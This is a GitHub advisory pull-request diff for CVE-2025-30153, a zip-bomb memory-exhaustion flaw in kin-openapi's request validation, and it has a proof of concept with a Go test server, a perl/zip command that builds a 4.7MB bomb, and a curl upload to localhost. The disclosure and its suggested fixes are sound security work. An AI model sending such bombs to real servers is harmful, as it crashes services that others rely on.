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[GHSA-wq9g-9vfc-cfq9] Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter #5546

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May 15, 2025
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[GHSA-wq9g-9vfc-cfq9] Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter #5546

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6 changes: 3 additions & 3 deletions advisories/github-reviewed/2025/03/GHSA-wq9g-9vfc-cfq9/GHSA-wq9g-9vfc-cfq9.json
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{
"schema_version": "1.4.0",
"id": "GHSA-wq9g-9vfc-cfq9",
"modified": "2025-03-20T19:00:02Z",
"modified": "2025-03-20T19:00:05Z",
"published": "2025-03-19T18:12:53Z",
"aliases": [
"CVE-2025-30153"
],
"summary": "Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter",
"summary": "Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi",
"details": "### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n title: 'Validator'\n version: 0.0.1\npaths:\n /:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n required:\n - file\n properties:\n file:\n type: string\n format: binary\n responses:\n '200':\n description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := &openapi3filter.RequestValidationInput{\n\t\tRequest: r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute: route,\n\t\tPathParams: pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e 'print \"0\" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/ -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)",
"severity": [
{
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{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi/openapi3filter"
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
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